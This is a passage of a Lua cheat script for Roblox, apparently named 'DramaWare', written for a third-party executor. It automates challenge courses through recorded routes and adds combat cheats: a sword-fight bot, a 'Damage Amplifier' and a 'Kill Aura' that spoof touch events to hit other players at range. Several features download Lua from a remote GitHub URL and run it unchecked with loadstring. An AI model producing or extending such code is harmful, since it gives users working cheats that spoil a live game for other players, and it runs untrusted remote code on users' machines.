if tick() - TAS_LastMapDetectTime < 1 then return nil end
local preferredTeam = nil
local teamFolders = {}
for _, child in ipairs(bestFolder:GetChildren()) do
local teamNum = child.Name:match("^Team(%d+)$")
if teamNum then table.insert(teamFolders, {folder = child, num = tonumber(teamNum)}) end
end
if #teamFolders > 1 then
local char = TAS_LocalPlayer.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then
local closestTeam = nil
local closestDist = math.huge
for _, info in ipairs(teamFolders) do
local pos = TAS_GetTeamSpawnPosition(info.folder)
if pos then
local dist = (pos - hrp.Position).Magnitude
if dist < closestDist then
closestDist = dist
closestTeam = info.num
end
end
end
if closestTeam then preferredTeam = closestTeam end
end
end
local mapPrefix = bestCandidate.norm:gsub("team%d+", "")
local candidates = {}
for _, route in ipairs(allRoutes) do
local normFile = TAS_NormalizeName(route.name)
local candPrefix = normFile:gsub("team%d+", "")
if candPrefix == mapPrefix or normFile:sub(1, #mapPrefix) == mapPrefix then
table.insert(candidates, {path = route.info, name = route.name, norm = normFile, team = normFile:match("team(%d)")})
end
end
if preferredTeam then
for _, cand in ipairs(candidates) do
if cand.team and tonumber(cand.team) == preferredTeam then return cand.path end
end
end
for _, cand in ipairs(candidates) do
if cand.norm:find("team1") then return cand.path end
end
local mapNameLower = mapName:lower()
if mapNameLower:find("cave") and mapNameLower:find("chaos") then
for _, route in ipairs(allRoutes) do
if route.name:lower() == TAS_SelectedCaveChaos:lower() then return route.info end
end
if listfiles then
for _, path in ipairs(listfiles("TAS_Recorder")) do
local fileName = path:match("([^/\\]+)$") or path
local baseName = fileName:gsub("%.json$", "")
if baseName:lower() == TAS_SelectedCaveChaos:lower() then return path end
end
end
elseif mapNameLower:find("unstable") and mapNameLower:find("savannah") then
for _, route in ipairs(allRoutes) do
if route.name:lower() == TAS_SelectedUnstableSavannah:lower() then return route.info end
end
if listfiles then
for _, path in ipairs(listfiles("TAS_Recorder")) do
local fileName = path:match("([^/\\]+)$") or path
local baseName = fileName:gsub("%.json$", "")
if baseName:lower() == TAS_SelectedUnstableSavannah:lower() then return path end
end
end
elseif mapNameLower:find("construct") and mapNameLower:find("course") then
for _, route in ipairs(allRoutes) do
if route.name:lower() == TAS_SelectedConstructCourse:lower() then return route.info end
end
if listfiles then
for _, path in ipairs(listfiles("TAS_Recorder")) do
local fileName = path:match("([^/\\]+)$") or path
local baseName = fileName:gsub("%.json$", "")
if baseName:lower() == TAS_SelectedConstructCourse:lower() then return path end
end
end
elseif mapNameLower:find("colosseum") and mapNameLower:find("climb") then
for _, route in ipairs(allRoutes) do
if route.name:lower() == TAS_SelectedColosseumClimb:lower() then return route.info end
end
if listfiles then
for _, path in ipairs(listfiles("TAS_Recorder")) do
local fileName = path:match("([^/\\]+)$") or path
local baseName = fileName:gsub("%.json$", "")
if baseName:lower() == TAS_SelectedColosseumClimb:lower() then return path end
end
end
end
return bestCandidate.path
end
local function TAS_IsInChallenge()
local challengePlayers = TAS_Workspace:FindFirstChild("ChallengePlayers")
if not challengePlayers then return false end
return challengePlayers:FindFirstChild(TAS_LocalPlayer.Name) ~= nil
end
local function TAS_RunAutoPlayWithPathfind()
if not TAS_IsInChallenge() then return end
local file = TAS_GetMapTasFile()
if not file then
for i = 1, 10 do
task.wait(0.2)
if not TAS_IsInChallenge() then return end
file = TAS_GetMapTasFile()
if file then break end
end
end
if not file then return end
-- Direct type: self-contained script (e.g. wallhop), just run it once walkspeed is up
if type(file) == "table" and file.type == "direct" then
local Hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if not (Hum and Hum.WalkSpeed >= 16) then
while true do
if not TAS_IsInChallenge() then return end
Hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum and Hum.WalkSpeed >= 16 then break end
task.wait(0.05)
end
end
local content = TAS_RouteCacheDirect[file.source]
if not content then
local ok
ok, content = pcall(function() return game:HttpGet(file.source, true) end)
if not ok then content = nil end
end
if content then
local fnOk, fn = pcall(loadstring, content)
if fnOk and type(fn) == "function" then task.spawn(fn) end
end
return
end
local data = TAS_LoadFromSource(file)
if not data then return end
TAS_ActivePathfindId = TAS_ActivePathfindId + 1
TAS_StopPlayback()
local Hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum and Hum.WalkSpeed == 0 then
local Character = TAS_LocalPlayer.Character
if Character and Character:FindFirstChild("HumanoidRootPart") then
local currentPos = Character.HumanoidRootPart.Position
local syncIndex, path, syncPos = TAS_ComputePathToSync(data, currentPos, true)
if not (Hum and Hum.WalkSpeed >= 16) then
while true do
if not TAS_IsInChallenge() then return end
Hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum and Hum.WalkSpeed >= 16 then break end
task.wait(0.05)
end
end
if not Character or not Character:FindFirstChild("HumanoidRootPart") then
TAS_ViewPlayback(data, syncIndex)
return
end
TAS_ExecutePathAndPlay(data, syncIndex, path, syncPos)
else
if not (Hum and Hum.WalkSpeed >= 16) then
while true do
if not TAS_IsInChallenge() then return end
Hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum and Hum.WalkSpeed >= 16 then break end
task.wait(0.05)
end
end
TAS_PathfindAndPlay(data)
end
else
if not (Hum and Hum.WalkSpeed >= 16) then
while true do
if not TAS_IsInChallenge() then return end
Hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum and Hum.WalkSpeed >= 16 then break end
task.wait(0.05)
end
end
TAS_PathfindAndPlay(data)
end
end
-- AUTOPLAY UI (Autoplay Tab)
AutoplayTab:CreateSection("Autoplay")
AutoplayTab:CreateLabel("Note: Keep shiftlock off and don't move your camera before the round starts.", "info")
AutoplayTab:CreateLabel("Note: You may experience lag when toggling autoplays on.", "info")
-- placement tracker
if not isMovies then
do
local _pt_enabled = false
local _pt_placements = {}
local _pt_finished = {}
local _pt_myTeam = nil
local _pt_conns = {}
local function _pt_ordinal(n)
if n == 1 then return "1st"
elseif n == 2 then return "2nd"
elseif n == 3 then return "3rd"
else return n .. "th" end
end
local function _pt_getGameName(p)
local ok, name = pcall(function()
local RS = game:GetService("ReplicatedStorage")
local season = RS:FindFirstChild("Season")
if not season then return p.Name end
local playersFolder = season:FindFirstChild("Players")
if not playersFolder then return p.Name end
local data = playersFolder:FindFirstChild(p.Name)
if data and data.Value and data.Value ~= "" then
return data.Value
end
return p.Name
end)
return (ok and name) or p.Name
end
local function _pt_printLeaderboard()
print("===== CHALLENGE PLACEMENTS =====")
for i, entry in ipairs(_pt_placements) do
local tag = (entry.robloxName == player.Name) and " << YOU" or ""
print(string.format(" #%d - %s (%s)%s", i, entry.gameName, entry.robloxName, tag))
end
print("---")
end
local function _pt_sendChat(msg)
pcall(function()
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(msg)
end)
end
local function _pt_onFinish(p)
local playerName = p.Name
if _pt_finished[playerName] then return end
_pt_finished[playerName] = true
local rank = #_pt_placements + 1
local gameName = _pt_getGameName(p)
table.insert(_pt_placements, { robloxName = playerName, gameName = gameName })
print(string.format("[Placement Tracker] %s (%s) finished in %s place!", gameName, playerName, _pt_ordinal(rank)))
if playerName == player.Name then
_pt_sendChat(_pt_ordinal(rank))
_pt_printLeaderboard()
end
end
local function _pt_watchPad(pad)
local conn = pad.Touched:Connect(function(hit)
if not _pt_myTeam then return end
for _, p in ipairs(game:GetService("Players"):GetPlayers()) do
if p.Team and p.Team == _pt_myTeam then
local char = p.Character
if char and hit:IsDescendantOf(char) then
_pt_onFinish(p)
end
end
end
end)
table.insert(_pt_conns, conn)
end
local function _pt_start()
if player.Team then
_pt_myTeam = player.Team
print("[Placement Tracker] Team: " .. _pt_myTeam.Name)
end
local teamConn = player:GetPropertyChangedSignal("Team"):Connect(function()
if not _pt_enabled then return end
local newTeam = player.Team
if _pt_myTeam and newTeam and newTeam ~= _pt_myTeam then
print("[Placement Tracker] Team merged/changed, stopping tracker.")
Rayfield:Notify({ Title = "Placement Tracker", Content = "Teams merged, tracker stopped.", Duration = 4, Image = "trophy" })
_pt_enabled = false
pcall(function()
if Rayfield.Flags and Rayfield.Flags.PlacementTracker then
Rayfield.Flags.PlacementTracker:Set(false)
end
end)
_pt_stop()
elseif newTeam and not _pt_myTeam then
_pt_myTeam = newTeam
print("[Placement Tracker] Team set: " .. _pt_myTeam.Name)
end
end)
table.insert(_pt_conns, teamConn)
local found = 0
for _, v in ipairs(workspace:GetDescendants()) do
if v.Name == "Finish" and v:IsA("BasePart") then
_pt_watchPad(v)
found += 1
end
end
print("[Placement Tracker] Watching " .. found .. " Finish part(s).")
local addConn = workspace.DescendantAdded:Connect(function(v)
if _pt_enabled and v.Name == "Finish" and v:IsA("BasePart") then
_pt_watchPad(v)
print("[Placement Tracker] Late Finish part: " .. v:GetFullName())
end
end)
table.insert(_pt_conns, addConn)
end
local function _pt_stop()
for _, c in ipairs(_pt_conns) do c:Disconnect() end
_pt_conns = {}
_pt_placements = {}
_pt_finished = {}
_pt_myTeam = nil
print("[Placement Tracker] Stopped.")
end
AutoplayTab:CreateToggle({
Name = "Auto Say Placement & Placement Tracker (check console)",
CurrentValue = false,
Flag = "PlacementTracker",
Callback = function(Value)
_pt_enabled = Value
if Value then
_pt_placements = {}
_pt_finished = {}
_pt_start()
Rayfield:Notify({ Title = "Placement Tracker", Content = "Tracking your team's placements. Your finish will be said in chat!", Duration = 4, Image = "trophy" })
else
_pt_stop()
end
end,
})
end
end -- if not isMovies (placement tracker)
if isCamp then
AutoplayTab:CreateToggle({
Name = "Autoplay",
CurrentValue = false,
Callback = function(Value)
TAS_AutoplayEnabled = Value
if Value then
task.spawn(TAS_PrefetchAllRoutes)
task.spawn(function()
while TAS_AutoplayEnabled do
if TAS_IsInChallenge() then
local Hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum and Hum.WalkSpeed == 0 then
TAS_RunAutoPlayWithPathfind()
end
end
task.wait(0.5)
end
end)
end
end
})
-- Block Push Autoplay
local _bp_BASE_URL = "https://raw.githubusercontent.com/opsecophelia/ckblock/main/"
local _bp_PLAY_FILES = {
"blockpush_1_boat_side.lua",
"blockpush_2_boat_side.lua",
"blockpush_3_boat_side.lua",
"blockpush_4_boat_side.lua",
"blockpush_1_kitchen.lua",
"blockpush_2_kitchen.lua",
"blockpush_3_kitchen.lua",
"blockpush_4_kitchen.lua",
"blockpush_BACK.lua",
}
local _bp_autoEnabled = false
local _bp_cachedPlays = {}
local _bp_fetchDone = false
local _bp_fetchCount = 0
local function _bp_isBlockPush()
return workspace:FindFirstChild("SingularBox", true) ~= nil
end
local function _bp_extractStartPos(src)
local x, y, z = src:match("local d={{CFrame%.new%(([%d%.%-e]+),%s*([%d%.%-e]+),%s*([%d%.%-e]+)")
if x and y and z then
return Vector3.new(tonumber(x), tonumber(y), tonumber(z))
end
return nil
end
local function _bp_fetchAllPlays()
_bp_cachedPlays = {}
_bp_fetchDone = false
_bp_fetchCount = 0
for _, fileName in ipairs(_bp_PLAY_FILES) do
task.spawn(function()
local url = _bp_BASE_URL .. fileName
local ok, src = pcall(function() return game:HttpGet(url) end)
if ok and src and #src > 100 then
local startPos = _bp_extractStartPos(src)
if startPos then
table.insert(_bp_cachedPlays, { src = src, startPos = startPos, name = fileName })
end
end
_bp_fetchCount = _bp_fetchCount + 1
if _bp_fetchCount >= #_bp_PLAY_FILES then
_bp_fetchDone = true
end
end)
end
end
local function _bp_pickClosestPlay()
local char = TAS_LocalPlayer.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if not hrp then return nil end
local bestPlay, bestDist = nil, math.huge
for _, play in ipairs(_bp_cachedPlays) do
local dist = (play.startPos - hrp.Position).Magnitude
if dist < bestDist then bestDist = dist; bestPlay = play end
end
return bestPlay
end
AutoplayTab:CreateToggle({
Name = "Block Push Autoplay",
CurrentValue = false,
Callback = function(Value)
_bp_autoEnabled = Value
if not Value then return end
task.spawn(_bp_fetchAllPlays)
task.spawn(function()
while _bp_autoEnabled do
if not TAS_IsInChallenge() or not _bp_isBlockPush() then
task.wait(0.5)
else
if not _bp_fetchDone then
while _bp_autoEnabled and not _bp_fetchDone do task.wait(0.1) end
end
if not _bp_autoEnabled then break end
local hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if hum and hum.WalkSpeed > 0 then
task.wait(0.1)
else
local chosenPlay = _bp_pickClosestPlay()
if not chosenPlay then
task.wait(1)
else
while _bp_autoEnabled and TAS_IsInChallenge() and _bp_isBlockPush() do
hum = TAS_LocalPlayer.Character and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if hum and hum.WalkSpeed >= 16 then break end
task.wait(0.05)
end
if not _bp_autoEnabled then break end
if TAS_IsInChallenge() and _bp_isBlockPush() then
local char = TAS_LocalPlayer.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then hrp.CFrame = CFrame.new(chosenPlay.startPos); task.wait(0.1) end
local fn, err = loadstring(chosenPlay.src)
if fn then task.spawn(fn) end
while _bp_autoEnabled and TAS_IsInChallenge() and _bp_isBlockPush() do task.wait(0.5) end
end
end
end
end
end
end)
end
})
AutoplayTab:CreateDropdown({
Name = "Cave Chaos",
Options = {"Cave Chaos", "Cave Chaos Clip"},
CurrentOption = "Cave Chaos",
Callback = function(Option)
local selected = (type(Option) == "table") and (Option.Option or Option[1]) or Option
TAS_SelectedCaveChaos = tostring(selected or "Cave Chaos")
end
})
TAS_SelectedCaveChaos = "Cave Chaos"
AutoplayTab:CreateDropdown({
Name = "Unstable Savannah",
Options = {"Unstable Savannah", "Unstable Savannah Clip"},
CurrentOption = "Unstable Savannah",
Callback = function(Option)
if type(Option) == "table" then
TAS_SelectedUnstableSavannah = Option[1] or Option.Option or "Unstable Savannah"
else
TAS_SelectedUnstableSavannah = Option
end
end
})
AutoplayTab:CreateDropdown({
Name = "Construct Course",
Options = {"Construct Course", "Construct Course Wallhop"},
CurrentOption = "Construct Course",
Callback = function(Option)
local selected = (type(Option) == "table") and (Option.Option or Option[1]) or Option
TAS_SelectedConstructCourse = tostring(selected or "Construct Course")
end
})
TAS_SelectedConstructCourse = "Construct Course"
AutoplayTab:CreateDropdown({
Name = "Colosseum Climb",
Options = {"Colosseum Climb", "Colosseum Climb Wallhop"},
CurrentOption = "Colosseum Climb",
Callback = function(Option)
local selected = (type(Option) == "table") and (Option.Option or Option[1]) or Option
TAS_SelectedColosseumClimb = tostring(selected or "Colosseum Climb")
end
})
TAS_SelectedColosseumClimb = "Colosseum Climb"
-- Sword Fight Autoplay (Camp)
AutoplayTab:CreateDivider()
local _sfBot_Camp_enabled = false
AutoplayTab:CreateToggle({
Name = "Sword Fight Autoplay",
CurrentValue = false,
Flag = "SwordFightAutoplayCamp",
Callback = function(Value)
_sfBot_Camp_enabled = Value
if Value then
task.spawn(function()
-- wait for sword
local _lp3w = game.Players.LocalPlayer
local _hasSword3w = false
repeat
task.wait(0.5)
_hasSword3w = false
local _chr3w = _lp3w.Character
if _chr3w then
for _, item in pairs(_chr3w:GetChildren()) do
if item:IsA("Tool") and item.Name:lower():find("sword") then _hasSword3w = true; break end
end
end
if not _hasSword3w then
local _bp3w = _lp3w:FindFirstChild("Backpack")
if _bp3w then
for _, item in pairs(_bp3w:GetChildren()) do
if item:IsA("Tool") and item.Name:lower():find("sword") then _hasSword3w = true; break end
end
end
end
until _hasSword3w or not _sfBot_Camp_enabled
if not _sfBot_Camp_enabled then return end
local _player = game.Players.LocalPlayer
local _stupid = _player.Character or _player.CharacterAdded:Wait()
local _human = _stupid:WaitForChild("Humanoid")
local _root = _stupid:WaitForChild("HumanoidRootPart")
local _cachedTarget = nil
local _lastMove3 = 0
local _lastActivate3 = 0
local _number3 = math.random(20, 90)
task.spawn(function()
while _sfBot_Camp_enabled do
task.wait(math.random(1, 5) / 100)
_number3 = math.random(20, 90)
end
end)
task.spawn(function()
while _sfBot_Camp_enabled do
task.wait(0.5)
local t3 = nil
local vhd3 = math.huge
for _, v in pairs(workspace:GetDescendants()) do
if v:IsA("Model") and v ~= _stupid then
local h3 = v:FindFirstChildOfClass("Humanoid")
local r3 = v:FindFirstChild("HumanoidRootPart")
if h3 and r3 and h3.Health > 0 then
local d3 = (_root.Position - r3.Position).Magnitude
if d3 < vhd3 then vhd3 = d3; t3 = v end
end
end
end
_cachedTarget = t3
end
end)
local _bg3 = Instance.new("BodyGyro")
_bg3.MaxTorque = Vector3.new(40000000, 40000000, 40000000)
_bg3.P = 10000
_bg3.D = 1
_bg3.Parent = game.ReplicatedStorage
local _conn3
_conn3 = game:GetService("RunService").RenderStepped:Connect(function()
if not _sfBot_Camp_enabled then
_bg3.Parent = game.ReplicatedStorage
_human.AutoRotate = true
_conn3:Disconnect()
return
end
-- stop if sword gone
local _hasSword3 = false
local _chr3chk = _player.Character
if _chr3chk then
for _, item in pairs(_chr3chk:GetChildren()) do
if item:IsA("Tool") and item.Name:lower():find("sword") then _hasSword3 = true; break end
end
end
if not _hasSword3 then
local _bp3chk = _player:FindFirstChild("Backpack")
if _bp3chk then
for _, item in pairs(_bp3chk:GetChildren()) do
if item:IsA("Tool") and item.Name:lower():find("sword") then _hasSword3 = true; break end
end
end
end
if not _hasSword3 then
_sfBot_Camp_enabled = false
_bg3.Parent = game.ReplicatedStorage
_human.AutoRotate = true
_conn3:Disconnect()
return
end
_stupid = _player.Character or _stupid
_human = _stupid:FindFirstChildOfClass("Humanoid") or _human
_root = _stupid:FindFirstChild("HumanoidRootPart") or _root
local t3 = _cachedTarget
if not t3 then _bg3.Parent = game.ReplicatedStorage; _human.AutoRotate = true; return end
local h3 = t3:FindFirstChildOfClass("Humanoid")
local r3 = t3:FindFirstChild("HumanoidRootPart")
if not h3 or not r3 or h3.Health <= 0 then _bg3.Parent = game.ReplicatedStorage; _human.AutoRotate = true; return end
_bg3.Parent = _root
_human.AutoRotate = false
local tool3 = _stupid:FindFirstChildOfClass("Tool")
if not tool3 then
local bp3 = _player:FindFirstChild("Backpack")
if bp3 then for _, item in pairs(bp3:GetChildren()) do if item:IsA("Tool") then _human:EquipTool(item) break end end end
end
tool3 = _stupid:FindFirstChildOfClass("Tool")
local rarm3 = t3:FindFirstChild("Right Arm") or t3:FindFirstChild("Right Hand")
if tool3 and tool3:FindFirstChild("Handle") then
local handle3 = tool3.Handle
local tip3 = (handle3.CFrame * CFrame.new(0, 0, -4)).Position
local bestPos3, bestDist3 = nil, math.huge
if rarm3 then
for _, offset in ipairs({Vector3.new(0,0,0), Vector3.new(0.5,0,0), Vector3.new(-0.5,0,0)}) do
local castDir3 = ((rarm3.Position + offset) - tip3).Unit * 100
local result3 = workspace:Raycast(tip3, castDir3, RaycastParams.new())
if result3 then
local dist3 = (result3.Position - tip3).Magnitude
if dist3 < bestDist3 then bestDist3 = dist3; bestPos3 = result3.Position end
end
end
end
if bestPos3 then
local dir3 = (bestPos3 - tip3).Unit * Vector3.new(1, 0, 1)
_bg3.CFrame = CFrame.new(_root.Position, _root.Position + dir3)
else
local fb3 = rarm3 and (rarm3.Position - tip3).Unit * Vector3.new(1, 0, 1) or (r3.Position - _root.Position).Unit * Vector3.new(1, 0, 1)
_bg3.CFrame = CFrame.new(_root.Position, _root.Position + fb3)
end
else
local drtn3 = ((r3.CFrame * CFrame.new(3, 0, 0).p) - _root.Position) * Vector3.new(1, 0, 1)
_bg3.CFrame = CFrame.new(_root.Position, _root.Position + drtn3)
end
local ms3 = tick()
local dist3 = (r3.Position - _root.Position).Magnitude
if dist3 > 19 then
_human:MoveTo(r3.Position)
else
if r3.CFrame.LookVector.Unit:Dot((_root.Position - r3.Position).Unit) > 0.75 and dist3 < 15 then
_bg3.CFrame = CFrame.new(_root.Position, _root.Position + ((r3.CFrame * CFrame.new(4, 0, 0).Position) - _root.Position).Unit * Vector3.new(1, 0, 1)) * CFrame.Angles(0, math.rad(math.sin(tick() * 35) * 25 * ((_number3 - (math.random() * 5)) / 35)), 0)
end
if ms3 - _lastMove3 > math.random() * ((_number3 ^ 2 / 10) / (380 + math.random())) then
_lastMove3 = tick()
local sa3 = 1 * (_number3 * math.random() * 2 + (math.random() * 5) / 25)
local off3 = Vector3.new(math.random(-sa3, sa3), 0, math.random(-sa3, sa3))
_human:MoveTo((r3.Position - (r3.Position - _root.Position).Unit * 2.5) + off3)
if sa3 < 1 then _human.Jump = true end
if r3.Position.Y - 0.5 > _root.Position.Y then _human.Jump = true end
end
end
if tool3 and ms3 - _lastActivate3 > math.random(1, 3) / 10 then
_lastActivate3 = ms3
tool3:Activate()
local rem3 = tool3:FindFirstChildOfClass("RemoteEvent")
if rem3 then rem3:FireServer() end
end
end)
end)
end
end
})
local _dmgAmp_Camp_enabled = false
local _dmgAmp_Camp_amount = 7
local _dmgAmp_Camp_conn
AutoplayTab:CreateToggle({
Name = "Damage Amplifier",
CurrentValue = false,
Flag = "SwordDamageAmpCamp",
Callback = function(Value)
_dmgAmp_Camp_enabled = Value
if Value then
_dmgAmp_Camp_conn = game:GetService("RunService").RenderStepped:Connect(function()
local _p3 = game.Players.LocalPlayer
local _char3 = _p3.Character
local _tool3 = _char3 and _char3:FindFirstChildOfClass("Tool")
if _tool3 and _tool3:FindFirstChild("Handle") then
local _handle3 = _tool3.Handle
local _myroot3 = _char3:FindFirstChild("HumanoidRootPart")
for _, _enemy3 in pairs(game.Players:GetPlayers()) do
if _enemy3 ~= _p3 and _enemy3.Character then
local _ehmd3 = _enemy3.Character:FindFirstChild("Humanoid")
local _eroot3 = _enemy3.Character:FindFirstChild("HumanoidRootPart")
if _ehmd3 and _eroot3 and _myroot3 and _ehmd3.Health > 0 then
local _dist3 = (_myroot3.Position - _eroot3.Position).Magnitude
if _dist3 <= math.random(5, 12) then
for _i3 = 1, _dmgAmp_Camp_amount do
firetouchinterest(_eroot3, _handle3, 0)
firetouchinterest(_eroot3, _handle3, 1)
end
end
end
end
end
end
end)
else
if _dmgAmp_Camp_conn then _dmgAmp_Camp_conn:Disconnect() _dmgAmp_Camp_conn = nil end
end
end
})
AutoplayTab:CreateSlider({
Name = "Damage Amplifier Hits",
Range = {1, 20},
Increment = 1,
Suffix = "x",
CurrentValue = 7,
Flag = "SwordDamageAmpCampAmount",
Callback = function(Value)
_dmgAmp_Camp_amount = Value
end
})
local _killAura_Camp_enabled = false
local _killAura_Camp_range = 15
local _killAura_Camp_conn = nil
AutoplayTab:CreateToggle({
Name = "Kill Aura",
CurrentValue = false,
Flag = "SwordKillAuraCamp",
Callback = function(Value)
_killAura_Camp_enabled = Value
if Value then
_killAura_Camp_conn = game:GetService("RunService").RenderStepped:Connect(function()
local _p = game.Players.LocalPlayer
local ps = game.Players:GetPlayers()
for i = 2, #ps do
local v = ps[i].Character
if v and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 and v:FindFirstChild("HumanoidRootPart") and _p:DistanceFromCharacter(v.HumanoidRootPart.Position) <= _killAura_Camp_range then
local tool = _p.Character and _p.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
for _ = 1, 10 do
tool:Activate()
for _, part in next, v:GetChildren() do
if part:IsA("BasePart") then
firetouchinterest(tool.Handle, part, 0)
firetouchinterest(tool.Handle, part, 1)
end
end
end
end
end
end
end)
else
if _killAura_Camp_conn then _killAura_Camp_conn:Disconnect() _killAura_Camp_conn = nil end
end
end
})
AutoplayTab:CreateSlider({
Name = "Kill Aura Range",
Range = {1, 500},
Increment = 1,
Suffix = " studs",
CurrentValue = 15,
Flag = "SwordKillAuraCampRange",
Callback = function(Value)
_killAura_Camp_range = Value
end
})
end
-- ─── Movement Recorder (all places) ─────────────────────────────────────────
AutoplayTab:CreateSection("Movement Recorder")
_rec_statusElem = AutoplayTab:CreateLabel("Status: Idle", "activity")
-- Record on Round Start toggle
local _rec_autoRoundRecord = false
AutoplayTab:CreateToggle({
Name = "Record on Round Start / Stop on Round End",
CurrentValue = false,
Callback = function(Value)
_rec_autoRoundRecord = Value
if not Value then
-- If toggled off mid-recording, stop the recorder
if _rec_isRec then
_rec_isRec = false
if _rec_recConn then _rec_recConn:Disconnect(); _rec_recConn = nil end
if _rec_statusElem then
_rec_statusElem:Set("⏹ Stopped " .. #_rec_recording .. " frames")
end
end
return
end
task.spawn(function()
while _rec_autoRoundRecord do
if TAS_IsInChallenge() then
local Hum = TAS_LocalPlayer.Character
and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
-- Detect round freeze (WalkSpeed == 0)
if Hum and Hum.WalkSpeed == 0 then
-- Wait for round to actually start (WalkSpeed goes back up)
while _rec_autoRoundRecord and TAS_IsInChallenge() do
Hum = TAS_LocalPlayer.Character
and TAS_LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum and Hum.WalkSpeed >= 16 then break end
task.wait(0.05)
end
if not _rec_autoRoundRecord or not TAS_IsInChallenge() then
task.wait(0.5)
else
-- Start recording
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local player = Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local root = char and char:FindFirstChild("HumanoidRootPart")
local hum = char and char:FindFirstChildOfClass("Humanoid")
if root and hum then
if _rec_recConn then _rec_recConn:Disconnect(); _rec_recConn = nil end
_rec_recording = {}
_rec_isRec = true
_rec_recordStartTime = tick()
_rec_pauseOffset = 0
if _rec_statusElem then _rec_statusElem:Set("🔴 Auto Recording...") end
_rec_recConn = RunService.RenderStepped:Connect(function()
if not _rec_isRec then return end
local p2 = Players.LocalPlayer
local c2 = p2.Character
if not c2 then return end
local r2 = c2:FindFirstChild("HumanoidRootPart")
local h2 = c2:FindFirstChildOfClass("Humanoid")
local cam2 = workspace.CurrentCamera
if r2 and h2 then
table.insert(_rec_recording, {
cf = r2.CFrame,
vel = r2.Velocity,
state = h2:GetState(),
camCf = cam2.CFrame,
t = (tick() - _rec_recordStartTime) - _rec_pauseOffset,
})
end
end)
end
-- Stop recording when player touches any part named "Finish"
local _rec_finishConn = nil
local function connectFinishParts()
for _, obj in ipairs(workspace:GetDescendants()) do
if obj:IsA("BasePart") and obj.Name == "Finish" then
local c = obj.Touched:Connect(function(hit)
local hitChar = hit and hit.Parent
local hitPlayer = game:GetService("Players"):GetPlayerFromCharacter(hitChar)
if hitPlayer == Players.LocalPlayer and _rec_isRec then
_rec_isRec = false
if _rec_recConn then _rec_recConn:Disconnect(); _rec_recConn = nil end
if _rec_finishConn then
for _, fc in ipairs(_rec_finishConn) do fc:Disconnect() end
_rec_finishConn = nil
end
if _rec_statusElem then
_rec_statusElem:Set("⏹ Stopped " .. #_rec_recording .. " frames")
end
end
end)
table.insert(_rec_finishConn, c)
end
end
end
_rec_finishConn = {}
connectFinishParts()
-- Wait until recording stops (finish touched) or toggle turned off
while _rec_autoRoundRecord and _rec_isRec do
task.wait(0.2)
end
-- Clean up any leftover finish connections
if _rec_finishConn then
for _, fc in ipairs(_rec_finishConn) do fc:Disconnect() end
_rec_finishConn = nil
end
-- Also wait for challenge to fully end before next loop
while _rec_autoRoundRecord and TAS_IsInChallenge() do
task.wait(0.5)
end
end
end
end
task.wait(0.5)
end
end)
end,
})
-- Save Recording (type name + press Enter)
AutoplayTab:CreateInput({
Name = "Save Recording",
PlaceholderText = "Type name & press Enter to save...",
RemoveTextAfterFocusLost = false,
Callback = function(text)
_rec_fileName = (text and text ~= "") and text:gsub("%s+", "_") or nil
do
if #_rec_recording == 0 then
if _rec_statusElem then _rec_statusElem:Set(" Nothing recorded yet!") end
return
end
pcall(function()
if not isfolder("DramaWare") then makefolder("DramaWare") end
if not isfolder("DramaWare/Recordings") then makefolder("DramaWare/Recordings") end
end)
local name = (_rec_fileName and _rec_fileName ~= "") and _rec_fileName
or ("Recording_" .. os.time())
local filePath = "DramaWare/Recordings/" .. name .. ".lua"
-- Build the standalone replay script
local c = "-- DramaWare Movement Recording (world coords)\n"
c = c .. "local p=game.Players.LocalPlayer;"
c = c .. "local r=p.Character.HumanoidRootPart;"
c = c .. "local h=p.Character.Humanoid;"
c = c .. "local cam=workspace.CurrentCamera;"
c = c .. "local d={"
for _, v in ipairs(_rec_recording) do
c = c .. string.format("{CFrame.new(%s),Vector3.new(%s),Enum.HumanoidStateType.%s,CFrame.new(%s),%s},",
tostring(v.cf), tostring(v.vel), v.state.Name, tostring(v.camCf), tostring(v.t))
end
c = c .. "};"
c = c .. "local ct=cam.CameraType;"
c = c .. "cam.CameraType=Enum.CameraType.Scriptable;"
c = c .. "local s=tick();"
c = c .. "local run=game:GetService('RunService');"
c = c .. "local conn;"
c = c .. "conn=run.RenderStepped:Connect(function() "
.. "local e=tick()-s "
.. "if e>=d[#d][5] then conn:Disconnect() r.Velocity=Vector3.zero cam.CameraType=ct return end "
.. "local lo=1;local hi=#d;local idx=1 "
.. "while lo<=hi do local mid=math.floor((lo+hi)/2) "
.. "if d[mid][5]<=e then idx=mid;lo=mid+1 else hi=mid-1 end end "
.. "local a=d[idx];local b=d[idx+1] or a "
.. "local alp=0 if b~=a then alp=(e-a[5])/(b[5]-a[5]) end "
.. "r.CFrame=a[1]:Lerp(b[1],alp);"
.. "cam.CFrame=a[4]:Lerp(b[4],alp);"
.. "r.Velocity=a[2];"
.. "if h:GetState()~=a[3] then h:ChangeState(a[3]) end "
.. "end)"
pcall(function() writefile(filePath, c) end)
if _rec_statusElem then _rec_statusElem:Set("💾 Saved: " .. name) end
end
end,
})
-- Load dropdown — populated from DramaWare/Recordings/ at script load
